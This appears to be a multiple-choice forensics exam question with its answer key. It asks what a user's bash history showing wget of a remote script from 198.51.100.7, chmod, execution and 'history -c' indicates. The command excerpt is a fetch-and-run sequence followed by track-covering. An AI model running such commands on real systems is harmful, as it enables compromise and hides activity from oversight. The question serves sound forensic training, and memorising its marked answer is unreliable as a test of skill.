Question

During an investigation of a Linux web server, an analyst reviews the following excerpt from a user's ~/.bash_history file:

wget http://198.51.100.7/x.sh
  chmod +x x.sh
  ./x.sh
  history -c

Which conclusion is BEST supported by interpreting this command-line log?

Accepted Answer

The user downloaded and executed an external script, then attempted to clear shell history to hide the activity

Answer

The commands represent a scheduled cron job configured to run automatically at boot

Answer

The server's kernel modules were recompiled to install a legitimate software update

Answer

The entries prove the attacker gained root privileges through a buffer overflow